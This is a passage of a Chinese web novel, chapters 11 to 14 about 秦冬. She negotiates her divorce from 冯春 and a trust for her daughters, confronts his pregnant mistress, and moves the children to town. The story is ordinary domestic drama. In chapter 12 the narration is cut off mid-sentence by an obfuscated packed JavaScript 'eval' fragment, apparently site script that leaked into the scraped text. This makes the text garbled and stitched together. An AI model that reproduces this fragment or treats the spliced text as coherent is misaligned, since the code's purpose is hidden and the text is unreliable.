“你知道就好。”赵母把温温的红枣汤递给她,不放心又叮嘱一句,“人家要分多少钱多少股份,你也不要说话。” 赵莹无奈,“妈,我能不懂这个理嘛。” “你懂就好。” 眼下最要紧的就是冯春顺顺当当把婚离了,赶紧跟闺女领证,总不能孩子生在领证前吧。那成什么了? 想到冯春,赵母心下暗叹,小伙子样样都好,就二婚这一样,叫人烦恼。 * 挂了赵莹的电话,冯春把明天姐妹俩去上兴趣班的事安排好,让公司的司机送姐妹俩过去,又到父母屋里,让母亲陪姐妹俩去上兴趣班。 去了啥都不用做,在教室外等着就行。 冯母正因儿子没能留住秦冬的事恼怒,没好气的把手机往床上一丢,“我没空。” “妈。你就别说气话了。”冯春把手机给母亲拿回来放好,“我跟小李说好了,明天开车来接你们。中午就在市里吃饭,去哪儿吃问小铮就行。” 他坐在父母床边,满身疲惫,拉着母亲的手,“这时候你不帮我,谁帮我。” 冯母的心软下来,悄声问,“真没转寰余地了?” 冯春摇摇头,冯母低声问,“那小冬说了要分多少钱没?” 冯春知道父母一向短视抠门,搪塞道,“这件事我们再商量。” 冯母叮嘱儿子,“她又不要孩子,按法律说,不要孩子的这方是要出抚养费的。这些年,她一天班儿没上过,钱都是你赚的。咱也不委屈她,不用她出抚养费,在咱们这地儿,有个三五十万就够花一辈子了。” “妈,我知道了。” * 秦冬星期天约了律师商量离婚条款的事,冯铮不放心,早上还给妈妈打电话,问要不要她过去陪妈妈一起谈。 秦冬说,“等我跟律师拟定好条款,到时我会让律师把重要条款给你和涵涵讲一遍的。到时咱们一起听,要是妈妈有想不到的地方,小铮你一定得提醒妈妈。” “没问题。”冯铮非常自信,又问妈妈吃饭没有。母女俩说了好一会儿,冯涵就忍不住了,她也要跟妈妈说话。 俩孩子都跟妈妈聊好一会儿天,直到司机小李过来,才依依不舍挂断视频,准备去上兴趣班的事。 林霞陪着秦冬一起见的律师,这位律师是秦冬通过朋友介绍的,是位知名律所的女律师。 郑律师相貌斯文,身材瘦削,穿着得体的浅灰色职场套装。让秦冬说,一看就是很知性的女性。 这件事会涉及许多隐私,林霞从冰箱拿了两瓶矿泉水给她们放下,主动说,“我去外头逛逛,冬姐,午饭我安排,你们先忙。有事儿你给我打电话。” “好。” 林霞也没去别处,她到昨天秦冬住的宾馆,把账结了。都不是外人,老板娘挺痛快,就按平时单间的价格扣了一天房款,剩下的钱结给了林霞,请她转交秦冬。 老板娘爱八卦,拿了两根冰棍,跟林霞一人一根,悄悄打听,“冯总真要离婚啊?昨儿我看一家人有说有笑的。” “这我哪儿知道。姐诶,你生意咋样?” * 秦冬与郑律师昨天已经微信联系过,由于秦冬已经在昨天跟冯春大致谈了财产分割的内容。秦冬的重点放在对俩孩子的安全、学业、生活的保障上,郑律师就心中有数了。 她还给了秦冬一个专业建议,“关于孩子的大额保单不太好做,尤其涉及孩子身故后的权益继承,国家法律在这方面限制较多。像您这样大额的资金,做个人信托是一样的。” “这些事我也不太懂,让冯春去找专业人士,到时拟好合约条款,还得您帮我审核。” “这是我的工作内容。”郑律师帮秦冬拧开水,提醒她,“如果做信托,就找全国排行前十的大信托公司。小信托公司给出的条件会更优厚,您是为了孩子设立信托,安全性第一。” 秦冬很认可郑律师的话。 她把自己的要求一件件同郑律师说出来,关于抚养费,郑律师皱眉,“这也太多了。您两个孩子一个十一岁,一个九岁,就是小女儿过十年也能成年了。纵使是豪门,也没有这么多的抚养费。” “这笔钱是用来约束冯春的。”秦冬说,“我想尽快离婚,不想再看到他。两亿现金他拿不出来,他为求离婚,一定会分期给我。人心是很容易变的,何况孩子在短时间内还要跟着他生活。 他不是一个刻薄人,但也说不上多大方。他对女儿们不错,不过,家产是要儿子继承的。他不想把离婚的事闹大,我现在非常的厌恶他。与其他到处隐匿财产,或者在离婚后不断因为钱的事与我扯皮,我更想用这一亿做一个约束。 只要他对孩子尽到责任,只要孩子平平安安的,我愿意让一步。 我需要一个对孩子们怀有歉意的父亲,这对孩子们有好处。” “我看您很关心孩子,为什么不争取两个孩子的抚养权呢?” “我问过孩子们的意思,孩子们都支持我让我出去看看,散散心。”秦冬和律师很坦诚,“我现在,也庆幸孩子做出这样的选择。” “郑律师,我大专毕业后就结婚了,我的朋友、社交,都在当地。因为离婚的事,我娘家觉着我的价值直线下降,把我赶出来了。看你不行的时候,亲人朋友往往会露出第二张脸。”秦冬淡淡的说,“前天晚上,我在广场上散步消暑,半小时遇到四个媒人。我三十多了,相貌中等,学历普通,哪怕现在光棍再多,能叫我一晚上遇着四个媒人,肯定也是有其他原因的。” “昨天晚上又有媒人打电话,市局一位副局长妻子去逝好几年了。比我大几岁,也就刚刚四十出头,正当盛年。” 郑律师脱口而出,“这么直接。” “是啊。我也头一回遇到。”秦冬叹气,“现在是法制社会,婚姻也得讲究双方情愿。我留在本地,会不停的受到这方面的困扰。没钱,媒人会介绍家境普通的男人。有钱,媒人会介绍优质资源。” “如果带着两个孩子,离开当地,去一线城市生活。与我翻脸的娘家人,若是得知我分到一些财产,会像吸血鬼寻找血源一样的拼命找我。痛哭流涕的向我道歉,请求我的原谅,然后想尽办法窃取我的财富给我的弟弟。” “人为了钱,什么都做得出来。我不得安生还在其次,我不想孩子受影响。”秦冬说,“我得找个地方,安顿下来。生活安定了,再接孩子。” 郑律师不知秦冬处境这样艰难,马上说,“那还是暂时让孩子跟着父亲,也比较安定。” 郑律师看看平板,“您只要现金,冯先生直接关联公司的股权、账号权益、相关投资,都不再进行分割。那房子、车子、存款、理财、股票这些呢?” “房子我跟冯春说好,我要市区的一套别墅。其他房产归他。至于存款,我名下只有几万块现金。我不懂股票,没有买过。有一些黄金存在银行保险柜。大约有七十斤。冯春名下的存款、股票这些,我就不清楚了。” 秦冬说,“昨天光顾着说给孩子们设立保险金的事了。忘记说黄金了。我晚一点同冯春讲,不管他名下还有多少存款投资,我只要这七十斤黄金和一套市区别墅。他应该没意见。” 结合现在的金价,这算是一笔不菲的现金了。郑律师专司离婚类业务,她见过很多离婚的当事人,像秦冬想的这样清晰的当事人并不多见。 秦冬已经把整件事想清楚,她的诉求就是给孩子设立可靠的信托,尽快离婚。秦冬自己拿走的现金房产是有限的。 秦冬对郑律师说,“我不懂法律,我需要您将这份离婚协议写到,只要我的孩子出现任何意外,我拿着这份离婚协议立刻就能让冯春名誉扫地,并付出巨大代价。要写到这种程度。” “我可以做到。不过对方应该会要求保密条款。” “我会拒绝的。” “那我现在就专注在条款拟定上。等我写好,先微信传给您,您看一下还有没有需要修改的,我们再商议。” * 中午吃饭的时候,冯铮还打视频过来,很礼貌的同郑律师打了招呼,拜托郑律师一定要全力帮助妈妈。 郑律师很友好的答应了。心想,难怪秦女士要先保证孩子们的利益,两个孩子都很懂事。 午饭后,郑律师就告辞了。 秦冬和林霞开车回家,秦冬没别的事,让林霞去忙自己的事儿了。林霞觉着秦冬精气神儿不错,也没客套,就先回家了。 * 如秦冬所想,晚上她打电话同冯春说黄金的事情时,冯春很痛快的答应了。冯春好奇,“你什么时候买的这么多黄金?” 看秦冬住那么小的宾馆,他还以为秦冬一点私房都没有呢。 “你忘了,有一些存款的时候,县农行的行长总跟你推销理财产品。你不想理,就把事往我身上推。我又不懂,我在视频上看人家广东女孩儿结婚,会给女孩子戴好多金镯子金项链金耳环,戴满身,特别气派。我就想给闺女们攒一些金子,以后结婚打首饰用。 我跟你商量,你也说好的。” 秦冬的声音通过听筒低低传入冯春耳际,“后来公司生意做大,钱就都放在公司了。你每年给我两百万,家里花用有限,剩下的我就给孩子们买了金子攒着。” 想想自己的股票账户,冯春都得说秦冬颇有些财运。冯春忍不住说,“我要知道你买黄金,我就多给你些钱了。” “你不一直说金子土么。” 冯春哑口,想想,自己好像是说过这种没见识话。他转移话题,“现在也好卖了,金价有点跌了。” 秦冬说,“办好离婚手续,我需要变现一些,出门时用。其他的还是要存着,等我以后赚到钱,再买金子给孩子们补上。” 冯春真服了秦冬,给闺女攒的金子,那就是给闺女攒的,以后给闺女打首饰。完全不考虑金价跌了,先卖掉,以后再低价买回来。 有时秦冬一根筋起来,冯春也是毫无办法。【魔.蝎.小.说 】 12.第十二章 秦冬第十二章 冯春也没闲着,秦冬想给俩孩子买保险的事,他办的挺快。这事儿都不用找别人,银行大客户经理一听冯春说想给俩孩子做一份大额的财产规划,问了大致金额后,当时就要约时间□□。 事关两个女儿的财产安全,冯春挺上心,和秦冬约好时间,才让经理过来。 吴经理跟冯春更熟,和秦冬是头一回见。吴经理很客气,还带了鲜花。冯春介绍,“这是我媳妇。” “头一回见您,不知道买些什么,我们银行附近花店的花很新鲜,买的百合送您。嫂子,愿您永远年轻漂亮。” “太客气了。”秦冬接过鲜花,认真纠正,“我和冯春马上就要离婚了,我姓秦,不介意的话叫我姐就行。” 冯春收拾的满面春风的脸上尴尬的险些失仪,向来八面玲珑的吴经理也不知做何反应了。秦冬没事人一样,请吴经理坐下,把鲜花递给冯春,指指客厅靠墙的一组实木柜上的大花瓶,“去厨房接点水,把花插上。” 冯春去插花,秦冬跟吴经理说,“这次请您过来,是想给孩子做一个财产规划。金额在一个亿,是我离婚后的财产。我想保证孩子成年后的生活,主要是做到安全、不可分割,收益低一些我不介意。” 冯春把花插好,厚着脸皮坐在秦冬身边。秦冬同吴经理说,“这些事我不太懂,得请您给我们讲一讲。因为关乎孩子,我们一起听一听。” “对对。”冯春说,“都是为了孩子。” 吴经理悄悄将此次的业务重点轻移到秦冬这里,毕竟是这位大姐出钱。吴经理那讲的,又细致又详细。 秦冬听的很认真,她之前完全外行,想的太过简单。不过,财产规划的事,本身也就一层窗户纸。秦冬是出资人,最终主意也是由她拿。 大半天听下来,秦冬更倾向于做一组保险金信托和现金家族信托的双账户规划,只是资金分配比例上还没想好。 冯春看看时间,“这事儿不急,先去吃饭。” 秦冬点头,招呼吴经理,“听的入神,给忘了。吴经理,你来我们这儿来的少,这回尝尝我们这儿的特色菜。” 吴经理笑,“好。我沾冯哥秦姐的光。” 这应该是吴经理见过的最友好的即将离婚的夫妻了,冯春虽然偶有尴尬,秦冬理智冷静,神色气色都不错,说话也和气。 他们到天风大酒店的时候都将要一点钟了,一到门口,酒店经理从里面拉开门,热情招呼,“冯总、冬姐,你们来了。包间儿一直留着哪,我带你们上去。” 大家一行往楼上走,正遇到一行人下楼。真巧人,熟人。 赵莹见到冯春时先是一喜,目光扫过一身天青色连衣裙的秦冬时笑意更深了。赵母不认识秦冬,倒是很高兴见到冯春,先笑道,“好巧,小冯,你也来这儿吃饭。” 冯春尴尬笑笑,“是啊。赵阿姨,我们先上去了。” “好。你们忙。”赵母微微侧身,让冯春一行人上楼。 赵莹不紧不慢的站楼梯上,看到冯春时唇角弯了弯,给他递了个眼神,冯春瞪她,让她老实点。 赵莹笑的更深了,她穿着略显空松的大牌连衣裙,一只手扶着楼梯,一只手若有似无的扶着腰,一个人站了大半个楼梯,居高临下的打量着秦冬。 那天晚上,秦冬已经见识过这世上最寡廉鲜耻的事。 那天中午,她从娘家出来,就什么都看透了。 平素间,秦冬性子极好,是那种宁可自己吃点亏,也不愿与人起冲突的老好人。与人走个正对面,路窄,她都会主动让人。 但,这个人是赵莹。 秦冬没有侧身的打算,她就站在矮赵莹两步楼梯的地方不动了。 冯春急的额角冒汗,自从决定离婚,秦冬已经完全不似以往好说话。赵莹也是,她就不能不生事么。 赵母说闺女,“莹,让人家先过。” 赵莹露出一个歉然浅笑,对秦冬说,“冬姐,我不大得劲儿。要不,您侧侧身,让让我。” 指甲刺进掌心,她很冷淡的开口,“的确该让孕妇先走。”忽然提高声音说,“大家都让让!这有个孕妇,让孕妇先走!” “诶诶。”冯春折脚回头,去拉秦冬的手。 秦冬一把将冯春推到楼梯扶手边儿上,自己依旧分纹未动,不急不徐道,“听说赵小姐怀的是个儿子,可得小心!赵小姐,什么时候摆酒跟我说一声,我让冯春给您送份贺礼!孩子爸爸可真是个慢性子,怎么还不摆酒!” 冯春拉秦冬的胳膊,“冬,咱们赶紧吃饭!” 秦冬反手给他一记大耳光,“你总拉我干什么!” 她冷冷盯着赵莹,问,“怎么着?是我给你让让?还是你给我让让?” 赵莹一向觉着秦冬就是属包子的,为人窝囊,没见识,怎么欺负都没事儿,却不想秦冬突然说出这样刻薄难听的话来,就连冯春都吃了耳光,一时惊惧难言。 赵父赵母显然猜到秦冬是谁了,均脸色难看至极。赵母拉着赵莹,低声说,“人家要上楼,让人家先走。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她双手将菜单递给吴经理,“吴经理是客,您先点。” 吴经理双手推托,“我头一回来,了解不深,冬姐您点几道菜,我跟着尝尝。” “行。那我就点了。”秦冬点了几道招牌菜,又扭头跟冯春商量,“你看还有没有要添的。” 冯春不自觉摩挲着右脸,随便添了道菜,大堂经理赶紧记下来,接过菜单忙去了。 真吓死了,幸亏没打起来。 13、第十三章 冯春点完菜,跟吴经理道声歉,就匆匆出去了。 服务员开始上菜,秦冬给吴经理介绍,“尝尝我们这儿的酥鱼。” 吴经理心里怀疑冯春是去安抚小三了,见秦冬竟然面不改色同他介绍地方名菜,立刻夹了一块酥鱼到碗里,咬下去,肉酥骨软,十分香美。吴经理赞叹,“这味儿真好。以前吃酥鱼都是吃酥鱼罐头,这种现做的很少吃。” “我们这儿喜欢这么吃,省得择刺了,刺都是一抿即化。特别是孩子,不用担心孩子卡到。” “姐,咱们虽说是刚认识,可一看您就知道,孩子肯定很出色。” “还行。”秦冬谦虚的说,“俩孩子都很懂事,学习也好。财务规划的事,我也要跟孩子说一说,让她们听一听,也是一种人生经验吧。” 服务员上菜挺快,其实小县城也没啥离奇到别人没见过的菜,就是本地的一些特色。 秦冬待人和气,吴经理吃的挺放松,对秦冬的心理素质佩服的五体投地,看人家是完全没把小三放眼里。 其实叫吴经理说,就刚刚小三那得意猖狂的死样子,真是上不得台面儿。冯总虽然有钱,眼光着实一般。冬姐一看就是好女人,真不知冯总怎么想的。 哎,大概有钱人都喜欢漂亮的。 不过,冬姐也不丑啊。大眼睛白皮肤,当然,不是小三那种尖下巴锥子脸。但从面相上说,还是冬姐这种圆脸盘更有福相。 菜上好的时候,冯春才回来。秦冬看他拎个深色塑料袋,也没说啥。 冯春叫服务员进来添一碗饭,跟吴经理说,“咱们这不是酒场,跟自家吃饭一样,吃饱才能干活。” 吴经理挺不好意思,他们这都开吃了。吴经理说,“哥,我再给您添几个菜吧。” “不用。没事儿,你们也是刚动筷子。” 冯春完全不介意,跟秦冬说,“刚出去,遇着昭哥了。他说给你发微信你没回他,打两回语音也没接。” 昭哥是秦冬大姨家的表哥,挺仗义的人。秦冬说,“前几天心情不好,我娘家的事儿缓几天再说。” “你给昭哥回个信儿,他挺担心你。” 秦冬点点头。 吃完饭,吴经理抢着结账,秦冬说,“让冯春结,他在这店有股份,是大股东。” 吴经理当即奉承,“冯哥生意做的真大。” 冯春结了账,前台熟练开票,冯春收好后,大家一起离开。 到车上,冯春才说起来,“这家店的前老板是我本家二叔,手艺真好,开了几十年饭店,开到县城,日子特红火。后来赌博输了不少钱,找我去借,我说要旁的事,家里老人生病孩子上学,我没二话。你这赌债,我不能借。他就想把店抵给我。这地儿挺大的,当时也要不少钱,一时间拿不出那么多现金,当时还贷了款。 其实我不懂开店,我表哥家的大侄儿,特别喜欢美食,上学学的就是厨师,盘下来给他做的。我每年拿分红。旁的一律不管。” “那也是冯哥你眼光好。” “我当时也不想接这烂摊子,没办法,亲戚里道的来劝。追债追的紧,也是阴差阳错。”车子行驶在县城平坦的柏油路上,冯春跟秦冬说,“在信托条例上加上一条,凡黄、赌、毒的,只要沾一点,一分钱没的分。” 秦冬当即脸色黑透,“你看小铮小涵哪个像是能黄赌毒的?你说的是你儿子吧!” 冯春笑,“我说错了。我是听吴经理讲的很好,也想做一份家族信托。” 后座的吴经理眼睛一亮,整个人向前倾去,殷勤问道,“哥,你什么时候有空,咱们细聊。” “我这个暂时不急。先办你冬姐的事儿,我反正是要一起把关的。她的办下来,我心里也就有数了。” 冯春很巴结的跟秦冬说,“我的信托,儿女都是一样份额。” 秦冬不领这情,冷冷道,“宪法男女平等七十多年了,你是现在才开化啊。” 冯春嘿嘿一乐,吴经理赌上十几年的职业生涯,强忍着保持专业人士的严肃,不露一丝笑意。 冯春开回秦冬住的小区,吴经理开车告辞,再三跟秦冬说,“冬姐你有什么问题,随时打我电话,我二十四小时都在。” “好。今天是星期天,路上车多,开车不要急。有事联系。” 吴经理告辞离去。 冯春跟着秦冬一起上楼,秦冬先进屋,冯春关上门,秦冬正好换了拖鞋,她对冯春说,“如果你管不住赵莹,让她一直在我跟前犯贱,我就不急着离婚了。她爸不是公务员么,我去纪委诉诉苦怎么样?” “别冲动别冲动。”冯春吓一跳,“我上来也是想跟你说这事儿。” 他虚扶着秦冬到沙发上坐下,自己也坐了,“她爸都内退了。去纪委也没啥用。” “不,丢人也是一种震慑。”秦冬一直以为像赵莹冯春这种不要脸的人是不怕丢脸的,今天的事让秦冬改变了这种想法。 “我看在孩子的面子上,不想你名声受损。看来,我这样想是错了。如果你们不嫌丢人,我干嘛嫌丢人。” 冯春对天发誓,一定会让赵莹彻底老实下来。秦冬说,“六千万。我要你首期拿出六千万现金。” 冯春苦笑,“这怎么还带涨的。” “因为我很不爽。”秦冬道,“对于你这种人,道歉像吃饭喝水一样。反正,你们给我添一次堵,我就涨一千万。如果再有下次,我就去市纪委谈谈。她爸是内退了,她小舅不干的正起劲儿么。赵莹以前不就张嘴她小舅,闭嘴她小舅吗? 她不要脸,索性大家就撕破脸!” 冯春好话说尽,才把秦冬安抚住。主要秦冬打算下午回去收拾些衣裳行李带过来,她现在精神头儿不错,还想把闺女们也接到县城来住。 她早上送闺女上学也就二十分钟车程,中午让孩子们回家吃饭,晚上她再去接,并不麻烦。 她还要细细看一看吴经理留下的资料,也没空跟冯春浪费时间,直接把人打发走了。 * 冯春几乎是马不停蹄的到了赵家,赵家人的神色很不好。赵莹没在客厅。赵父一见到冯春,嘴唇嚅动几下,想说什么,并没有说,重重叹一声,书房去了。 赵母给冯春倒了杯水,一如既往的和气,“小冯,唉,也是我老眼昏花不认得人,今天叫你为难了。” 冯春倒是很看得开,“本来就是我有错在先。哎,我们今天是商量做离婚的财产分割,谈的有些晚了,才过去吃饭,也是没想到就遇上了。” “姨呀,我是想这事平平静静的办了最好。”冯春道,“我的工作,能保持名誉再好不过。赵叔也是公务员,虽说是要退休了,咱们在县里这些年,都是有头有脸的人,出门在外,都讲体面。 小冬的脾气,你也看到了。把她欺负狠了,她真翻了脸,到纪委去坐坐,对咱们有什么好处呢?” 赵母连忙道,“我也是这么劝赵莹的。真是愁人。不知道是不是怀了孕,一时好一时歹的,她这脾气就有点控制不住。小冯,你得宽容她一些。她已经知道错了,早后悔了。” 冯春叮嘱,“以后可别这样了。原本谈好的条件,小冬又不同意了。” “唉呀!”此时,赵母脸上的悔意真情实感了很多,“那要怎么办?” “只能退一步了。” 赵母咬牙,暗暗埋怨女儿沉不住气,非惹那夜叉做什么。“我一定管住小莹!也不知要那没用的强做什么!” 冯春正在和赵母说话,赵小弟赵谦突然从房中走出来,径直走到冯春面前,盯着冯春的眼睛,声音冷的像冬日冰,质问,“这就是你说的不让我姐受委屈!” 赵母站起来推儿子,“这没你的事儿!屋儿去!” “我就问问他!当初有没有保证过,不让我姐受半点委屈!”赵谦挺大个子,赵母推一下竟没推动。 冯春看向他,“对。我是说过。” “你是怎么做的?你就看着那个女人羞辱我姐!”只要一想到今天的事,赵谦就气的浑身发抖,那女人简直是把他们一家人往泥里踩。 “那个女人是我的妻子。”冯春正色道,“小弟,我和你姐姐相爱,这件事伤害了我的妻子。我在任何人面前都给你姐姐撑得起腰来,除了秦冬。因为我们两个人对不住她。” 冯春逻辑清晰到让赵谦无法辩驳。 “你,你一个有妇之夫,你干嘛来招惹我姐!”赵谦怒道。 冯春静静看着他,赵谦大声说,“反正我不允许有人这样欺负我姐!” “如果再有人敢欺负我姐,我就让她好看!”赵谦咬牙,“我说的出,就做得到。” 冯春的脸彻底沉下来,“小弟,你要觉着我对不住你姐,你要打要杀,只管冲我来。如果你冲秦冬,我现在就告诉你,不行!” “哪怕我跟她离婚,她也是跟了我十几年的人,她是我俩孩子的妈!你要动她,咱们就没什么情分好讲了!”冯春冷冷起身,对赵母微微欠身,“姨,我还有事,先走了。” 赵母给儿子气的眼前发黑,一巴掌糊儿子脸上,“你给我闭嘴!给你哥道歉!” 赵谦硬挺着脖子,“我没错!” 冯春不再多言,不顾赵母苦留,都没进去看赵莹一眼,直接离开。【魔.蝎.小.说 】 14、第十四章(改错字) 秦冬第十四章 冯春回头就到公司加班去了。 他当然挺喜欢赵莹,年轻漂亮,还给他怀着儿子,怎么会不喜欢。可他对秦冬一样有感情,他跟秦冬是青梅竹马,从小学就是同学,初中、高中都是同学,到大专恋爱,步入婚姻,还生了俩闺女。 看冯春这种重男轻女癌就知道,他重儿子,那么,他一定也重原配。要不是赵莹怀的儿子,他不一定会离婚。 他心里对秦冬挺愧疚的,他心里明白自己对不住秦冬。秦冬一直留着余地,不然闹到网上,他肯定得网络社死一段时间。 秦冬还准备把分的钱都安排给俩闺女,在冯春心里,那就跟没拿钱一样。毕竟,闺女也是他亲闺女啊。 故而,这些天,夜深人静时,冯春也暗暗骂过自己不做人,对不住秦冬。 他们就是离婚,秦冬一样是俩孩子的妈。 他跟秦冬,那也是亲人一样的关系。 当着他的面儿,就敢动秦冬,也太不把他冯某人放眼里了! 女人就是不能惯着。尤其这不懂事儿的,越惯越登鼻子上脸! * 冯春走后,秦冬先给昭哥打了个电话,昭哥说,“知道你挺好就行。我不劝你。三姨昨儿去我家了,找我妈,你大姨哭了俩小时。我强忍着没说她活该。那是人说的话吗?冬,你现在住哪儿呢?放心,我不跟别人说。” 秦冬说了地址,昭哥道,“成。明儿我跟你嫂子过去看看你。” “不用了。我现在没事儿了。” “咱们亲戚也这么些人哪。我们有事,你都伸手帮忙。你有事我们装不知道,那还是人吗?”昭哥说,“你离不离婚,都是我们的妹妹。” 秦冬心里发酸,低低的“嗯”了一声。 表兄妹二人没再多说,结束通话。 见许昭三两句就挂了电话,妻子徐蔚嗔怪,“你倒是多说几句呀。” “有话见面再说。”许昭夫妻俩星期天带孩子出来玩儿,看完电影去饭店吃饭,遇着冯春秦冬的。 徐蔚说,“一会儿咱们去超市买些吃的,明天给小冬带去。” 许昭点点头,想抽根烟,奈何现在所有商场都禁烟。徐蔚悄声说,“我看今儿中午,小冬怼姓赵的那几句,挺带劲儿的。以前都说小冬性格软,要紧时候也能说得出话。” “又不是哑巴,难道被欺负死都不说话。”许昭摩挲着手指,“小冬人没的说,就是命里有个坎儿。” “谁说不是呢。”徐蔚还要说什么,闺女喊她去帮着选衣服,她顾不上说,把手里的奶茶往丈夫手里一塞,快步去帮着看了。 * 去冯家村前,秦冬打了个电话给冯母,看有没有人在家,她去收拾些东西,再接孩子到县里来住几天。 冯母正在家里午睡,听到手机铃响有些不耐烦,一见是秦冬的号码,顿时精神百倍的坐起来,声音甜的能拧出蜜,“在家。冬,你只管回来,我去买几样好菜,晚上就在家吃饭。” “姨,不用了。”秦冬说,“我拿些东西,把孩子们接过来。明天早上我送孩子们上学,中午让他们回家吃饭,晚上放学前我去接她们。” 听到秦冬喊她“姨”,冯母心口像被什么噎住了,叹口气,说,“叫了十几年的妈,你一喊姨,我心里怪不得劲儿的。” “这没办法。我要跟冯春离婚了,再喊妈不合适。”秦冬道,“那我先挂了,一会儿过去。” “啊。行。” 冯母落寞的挂断通话。电风扇在屋顶转啊转,冯母一声叹气,心里空落落的。 她在床上坐了半晌,去厨房把闺女送来的蜜桃洗了一小盆放在客厅桌上。下午的阳光穿过窗户,照在墙上一排模范之家、最美女性、好媳妇、好母亲的称号上,黄铜底闪闪发亮,映着冯母欲发低沉落的神色。 她枯坐半晌,起身到俩孩子屋里转了转,墙上挂着一家四口的合照,爸爸妈妈年轻漂亮,俩孩子站在爸妈身边,也都玉雪可爱。 多好啊。 冯母由衷这么想,她看了又看,心里情不自禁的升起一个念头:就是没孙子,一家子这么过不也挺好的。 * 秦冬没空手来,她买了冯父爱吃的卤肉大饼、冯母爱吃的螺丝转火烧。 冯母待秦冬也很亲热,拉着秦冬的手,“坐。外头热,好好凉快凉快。”她提前就把屋里空调都打开了,又递蜜桃给秦冬吃。 “前儿小敏给我送来的,说是去月城县买的。月城的蜜桃全国都有名,你尝尝。” 秦冬说,“我就不吃了。先去收拾东西,过会儿孩子们该放学了。” “行。我给你装袋子里,你带县里吃。”冯母念念叨叨的,“孩子们嘴里不说,心里都想你。她们打一下生,就没离开过妈妈。” 秦冬听的心里难受,认真的跟冯母说,“姨,别说了。你一说这话,我就更恨冯春了。” 冯母心道,我说这些是想你心疼孩子来着。不过,的确是冯春那畜牲不做人。 秦冬过去收拾东西,发现屋里的空调也都提前打开了。冯母没在边儿上,不然显的好像防着秦冬似的。 冯母虽一肚子心眼儿,也知道秦冬人好,这些年婆媳相处下来,冯母是很舍不得秦冬的。 秦冬把重要的证件、首饰都连盒子一起放到行李箱,时令衣裳收拾一些。孩子们要穿的衣裳也一道收拾了。 另外还有孩子们用的水杯、洗漱用品、毛巾、盖的夏凉被、四件套、枕头等琐碎物品也都一并打包放好。 孩子们放学看到妈妈都非常开心,冯涵高兴的一个劲儿围着妈妈转,书包都没放下,就啾啾啾亲了妈妈好几下。冯铮依偎着妈妈坐下,“妈妈,你现在不忙了吗?” “上午见了银行经理,不忙了。过来接你们,咱们去县里住些日子。” 冯铮见妈妈气色神采都回来了,非常高兴,点点头,“那我跟小涵去收拾东西。” “我帮你们把衣服、平时的用品都收拾好了。你们看看还有没有落下的?” 俩孩子去房间检查,冯铮拿了几本书,冯涵抱着个娃娃。秦冬站起来,跟冯母说,“姨,那我们就先走了。” “行。路上车开慢点。等到家给我发个信息。” “好。” 冯铮叮嘱奶奶,“奶奶,明天中午我要吃煎小鱼,炒土豆丝,你记得好好做,少放盐。” “知道了。”冯母应承下来。 冯涵说,“再蒸个鸡蛋羹。奶奶,照着我发你的视频做,不要再蒸成蜂窝煤。” 冯母听的想翻白眼。 这些天,她可是没少受挑剔。可是,看俩孩子欢欢喜喜的跟秦冬上车,看汽车远去,冯母挥着的手还没放下,心里已经开始难过了。 真是的,俩臭孩子见天批评她,她有啥舍不得的啊。明天中午就能见了,还要像个老妈子一样伺候吃伺候喝的。 哎,奶奶再好也没用,人家有妈妈。 哪个孩子不亲近妈妈呢。 该死的冯春,也不知道是不是吃错药了,没儿子能死啊! 她也不是那么想抱孙子。 * 俩孩子叽叽喳喳说了一路的话,又是商量晚上吃啥,又是跟妈妈说学校的事,还有奶奶做饭难吃,还不知道学习,每天都要监督奶奶才行。 母女仨热热闹闹的回到小区,冯铮已经是十一岁的大孩子,能够帮妈妈拖箱子了。冯涵小一些,也能拖个小箱子。 母女仨来回两趟就把东西都搬上楼了。 由秦冬指挥着,很快就收拾好。 晚饭不用做,姐妹俩路上就商量好去吃烧烤。这是俩孩子的最爱,夏天也是非常适合烧烤的季节。 以前也经常来吃,都有固定的烧烤摊。 冯铮问,“妈妈,你要吃什么,我去点。” “我要一串烤鸡翅,十个羊肉串,两串金针菇,微辣。” 冯涵跟着姐姐去拿烤串,这边都是老板支起摊子,喜欢吃啥自己拿,放在一个塑料篮里,吃完一起结账。 孩子们大都有选择困难症,会来来去去挑好久。秦冬先拿瓶常温的矿泉水就着一碟盐水毛豆慢慢吃。 望着孩子们时不时凑到一起商量的认真模样,秦冬情不自禁露出笑容。 县城处处是熟人,有人打招呼,秦冬也客套的寒暄两句。她心情不似以往郁郁,态度坦荡大方,倒让一些心怀探究的人不好意思。 等孩子们挑完烤串回来,冯涵手里拎着两瓶北冰洋,这是近几年的流行,老板娘端来一大盘卤制的小龙虾。冯铮手上干干净净的,像个公主。 秦冬挪了下毛豆的位置,老板娘把小龙虾放下,秦冬接过冯涵手里的汽水,冯铮说,“妈妈,老板娘阿姨送我们两瓶汽水。” 秦冬忙说,“这怎么好意思。” 老板娘圆圆脸笑呵呵地,“好久没见冬姐你们来了。两瓶汽水是给孩子的,你们慢慢吃,我去忙了。” “好,谢谢。” 老板娘笑着去忙了。 秦冬感念老板娘的好意,把桌上的一次性手套盒给俩孩子推推,“先吃小龙虾吧。” 面对最爱的小龙虾,冯铮套三层手套也是要吃的,她还会把第一个剥的小龙虾给妹妹。秦冬在读书时也很爱吃,现在就平平了,她主要照顾剥虾不太熟练的小女儿。 一时,竟还遇到了民政局范局长一家过来。 所以说县城小的很。 冯春有钱后,每年都会拿出一笔钱捐给敬老院、捐助残疾人、一对一的帮助好几个生活困难的孩子。这些事都是跟民政局打交道,故而秦冬跟民政局上下都挺熟。 大家闲聊几句,范局长低声跟秦冬说,“小秦,你什么样的人品,大家都是知道的。看开些,这世上没过不去的坎。” “好。” 范局长看她气色不错,很欣慰的同家人吃烧烤去了。 秦冬忽然觉着自己以前蠢透了,在家闷着有啥用?被娘家赶出来更是无能到好笑!她早就该出来了! 她为什么不出来。 她又不是过错方! 臭不要脸的还大摇大摆的活着哪,她一点错没有,倒是摧心折肝折磨自己! 凭什么! 因为她软弱,因为她重感情? 或者,因为她即将与冯春离婚,即将失去冯春这位有钱丈夫的她,在许多人的眼里成为弃妇,是一个失败者。 失败者就应该躲在阴暗的房间里,流淌着苦涩泪水,夜夜哀泣。 而赵莹之所以处处炫耀,是因为她抢夺到一个有钱的男人,她认为自己是个成功者。 